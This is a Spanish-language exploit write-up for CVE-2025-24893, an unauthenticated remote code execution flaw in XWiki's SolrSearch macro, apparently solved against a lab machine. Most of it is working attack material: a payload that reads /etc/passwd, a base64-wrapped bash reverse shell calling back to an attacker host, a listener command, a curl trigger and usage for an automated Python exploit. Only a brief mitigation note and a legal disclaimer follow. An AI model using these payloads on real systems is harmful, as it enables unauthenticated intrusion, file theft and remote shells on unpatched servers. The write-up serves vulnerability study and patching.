CVE-2025-24893 – Ejecución remota de código no autenticada en XWiki

0 Tabla de contenidos

1. Resumen
2. Detalles de la vulnerabilidad
3. Versiones afectadas
4. Prueba de concepto
   • 4.1 Construir el payload
   • 4.2 Explotación manual
   • 4.3 Exploit automatizado en Python
5. Mitigación
6. Créditos y referencias

1 Resumen

• CVE: 2025-24893
• Componente: macro SolrSearch (UI de XWiki)
• Severidad: 9.8 / CRÍTICA (CVSS 3.1)
• Vector de ataque: HTTP GET no autenticado
• Impacto: Ejecución arbitraria de Groovy → RCE a nivel de sistema (permisos del usuario de Jetty/Tomcat)

El endpoint /xwiki/bin/get/Main/SolrSearch concatena la entrada no confiable text= directamente en una plantilla Freemarker.
Al cerrar prematuramente la plantilla y abrir un nuevo bloque {{groovy}} … {{/groovy}}, un atacante ejecuta código Groovy arbitrario sin autenticación.

2 Detalles de la vulnerabilidad

GET /xwiki/bin/get/Main/SolrSearch?media=rss\&text=<<<USER-DATA>>>  HTTP/1.1

SolrSearch debería incrustar el texto proporcionado como contenido plano, pero el manejador de la macro no escapa }}}, por lo que ocurre lo siguiente:

1. }}} cierra el bloque Freemarker actual.
2. El atacante abre una nueva macro:

   {{async async=false}}{{groovy}} … {{/groovy}}{{/async}}

• async=false fuerza la ejecución síncrona (funciona incluso para invitados).

3. Groovy se ejecuta con los permisos del proceso JVM de XWiki.

Una PoC mínima que imprime /etc/passwd:

}}}{{async async=false}}{{groovy}}println("cat /etc/passwd".execute().text){{/groovy}}{{/async}}

Variante codificada en URL (espacios → %20, llaves → %7B/%7D, etc.):

%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d

3 Versiones afectadas

(fuente: advisory de OffSec y XWiki SEC-S 2025-02)

5 Prueba de concepto

5.1 Construir el payload

RHOST="editor.htb:8080"
LHOST="10.10.14.8"
LPORT=4444

# 1.   one-liner reverse shell
SHELL="bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"

# 2.   Base64 (single line)
B64=$(echo -n "$SHELL" | base64 -w0)

# 3.   wrap in Groovy macro
RAW='}}}{{async async=false}}{{groovy}}"bash -c {echo,'$B64'}|{base64,-d}|{bash,-i}".execute(){{/groovy}}{{/async}}'

# 4.   URL-encode
PAYLOAD=$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1],safe=''))" "$RAW")

5.2 Explotación manual

# start listener
sudo ncat -lvnp 4444

# trigger exploit
curl "http://$RHOST/xwiki/bin/get/Main/SolrSearch?media=rss&text=${PAYLOAD}"

5.3 Exploit automatizado

xwiki_solr_rce.py se incluye en exploit/ (ver el bloque de código a continuación).

python CVE-2025-24893.py -u <TARGET URL> -l <IP> -p <PORT>

donde

<TARGET URL> - URL incluyendo http:// o https://

(pasa -c "id" para ejecutar un comando arbitrario en lugar de una shell)

6 Mitigación

• Actualiza a 15.10.11 / 14.10.17 o posterior
• Solución temporal: deshabilita la macro

# /etc/xwiki/xwiki.properties
solr.search.enabled = false

7 Créditos y referencias

• Investigación de OffSec: “RCE no autenticado en XWiki” – 20 feb 2025
• Entrada de NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-24893
• Exploit-DB #52136

Investigación y PoC: DeX1d

Aviso legal: Solo para fines educativos. Ejecutar esto contra sistemas que no te pertenecen es ilegal.